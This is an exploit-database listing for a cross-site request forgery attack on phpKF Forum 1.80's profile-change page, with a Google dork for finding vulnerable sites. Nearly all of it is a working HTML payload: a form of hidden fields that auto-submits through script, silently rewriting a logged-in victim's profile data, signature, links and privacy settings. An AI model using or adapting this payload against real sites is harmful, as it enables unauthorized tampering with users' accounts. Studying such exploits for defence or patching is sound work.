[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

phpKF Forum 1.80 profil_degistir.php CSRF Exploit

Author
FreWaL
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-15060
Category
web applications
Date add
06-12-2010
Platform
php
=================================================
phpKF Forum 1.80 profil_degistir.php CSRF Exploit
=================================================

# Exploit Title   : phpKF Forum profil_degistir.php CSRF Exploit.
# Google Dork     : php Kolay Forum (phpKF)  ©  2007 - 2010   phpKF Ekibi
# Date            : 05-12-2010
# Author          : FreWaL
# Software Link   : http://www.phpkf.com/dosya.php?no=935
# Version         : 1.80  and  tested on All version
# My Website      : www.imhatimi.org & www.ihtilal.in
 
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$
$        phpKF Forum profil_degistir.php CSRF Exploit.   $           
$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
 
<frewal>
<form method="POST" action="http://www.w0rms.com/profil_degistir_yap.php">
<br>
<input type="hidden" name="profil_degisti_mi" value="form_dolu">
<br>
<input type="hidden" name="MAX_FILE_SIZE" value="1022999">
<br>
<input type="hidden" name="islem_turu" value="normal">
<br>
<input class="formlar" type="text" name="gercek_ad" size="35" maxlength="30" value="NamesLakap">
<br>
<input class="formlar" type="text" name="dogum_tarihi" size="10" maxlength="10" value="07-02-1985">
<br>
<select class="formlar" name="sehir">
<br>
<option value="Adana">Adana</option>
            <option value="YurtDýþý">Yurt Dýþý</option>
            <option value="Adana">Adana</option>
</select>
<br>
<input class="formlar" type="text" name="web" size="35" maxlength="70" value="http://www.imhatimi.org">
<br>
<td bgcolor="#ffffff" class="liste-veri3" align="left">
<select class="formlar" name="tema_secim"><option value="5renkli">5renkli</option></select>
</td>
<br>
<textarea class="formlar" cols="36" rows="9" name="imza" style="width: 240px; height: 130px">Sinirsiz imza</textarea>
<br>
 
    <tr>
    <td height="20" colspan="2" class="forum_baslik" align="center">
ANINDA MESAJLAÞMA ADRESLERÝ
    </td>
    </tr>
<br>
    <tr>
    <td class="liste-veri3" bgcolor="#ffffff" align="left">
ICQ Numaranýz:
    </td>
<br>
    <td bgcolor="#ffffff" class="liste-veri3" align="left">
<input class="formlar" type="text" name="icq" size="35" maxlength="30" value="sanane">
    </td>
    </tr>
<br>
    <tr>
    <td class="liste-veri3" bgcolor="#ffffff" align="left">
AIM Adýnýz:
    </td>
    <td bgcolor="#ffffff" class="liste-veri3" align="left">
<input class="formlar" type="text" name="aim" size="35" maxlength="70" value="banane">
<br>
    </td>
    </tr>
 
    <tr>
    <td class="liste-veri3" bgcolor="#ffffff" align="left">
MSN Messenger Adýnýz:
    </td>
    <td bgcolor="#ffffff" class="liste-veri3" align="left">
<input class="formlar" type="text" name="msn" size="35" maxlength="70" value="onane">
    </td>
    </tr>
<br>
    <tr>
    <td class="liste-veri3"  bgcolor="#ffffff" align="left">
Yahoo! Messenger Adýnýz:
    </td>
    <td bgcolor="#ffffff" class="liste-veri3" align="left">
<input class="formlar" type="text" name="yahoo" size="35" maxlength="70" value="bizene">
    </td>
    </tr>
<br>
    <tr>
 
    <td class="liste-veri3" bgcolor="#ffffff" align="left">
Skype Adýnýz:
    </td>
    <td bgcolor="#ffffff"  class="liste-veri3" align="left">
<input class="formlar" type="text" name="skype" size="35" maxlength="70" value="sizene">
    </td>
    </tr>
<br>
<input class="formlar" name="resim_yukle" type="file" size="30" value="">
<br> 
<input class="formlar" type="text" name="uzak_resim" size="35" maxlength="150" value="http://www.resimmax.net/wp-content/uploads/2010/04/Bu-resimde-hem-essek-hem-fok-bal%C4%B1g%C4%B1-gizli-120x120.jpg">   
<br>
Hide Email ? (Email Göster Gizle)
<br>
    <td class="liste-veri3" bgcolor="#ffffff" align="left">
<label style="cursor: pointer;">
<input type=radio name="posta_goster" value="1" >
Evet</label>  
<label style="cursor: pointer;">
<input type="radio" name="posta_goster" value="0" checked="checked">
Hayýr</label>
    </td>
<br>
Doðum tarihi
<br> 
    <td class="liste-veri3" bgcolor="#ffffff" align="left">
<label style="cursor: pointer;">
<input type="radio" name="dogum_tarihi_goster" value="1" checked="checked">
Evet</label>  
 
<label style="cursor: pointer;">
<input type="radio" name="dogum_tarihi_goster" value="0" >
Hayýr</label>
    </td>
<br>
Sehir Göster Gizle
<br> 
    <td class="liste-veri3" bgcolor="#ffffff" align="left">
<label style="cursor: pointer;">
<input type="radio" name="sehir_goster" value="1" checked="checked">
Evet</label>  
 
<label style="cursor: pointer;">
 
<input type="radio" name="sehir_goster" value="0" >
Hayýr</label>
    </td>
     
<br>
Online - Offline Göster Gizle
<br>
    <td class="liste-veri3" bgcolor="#ffffff" align="left">
Çevrimiçi Durumunu Göster:
    </td>
    <td class="liste-veri3" bgcolor="#ffffff" align="left">
<label style="cursor: pointer;">
 
<input type="radio" name="gizli" value="0" checked="checked">
Evet</label>  
 
<label style="cursor: pointer;">
<input type="radio" name="gizli" value="1" >
Hayýr</label>
    </td>
<br> 
<script> document.forms[0].submit() </script>
</form>
</frewal>
 
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$
$         For MecTruy ~ Dr.Ly0n ~ Noxy ~ DeadMaster      $
$              Special Thenx all Security Grup
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$



#  0day.today [2024-12-25]  #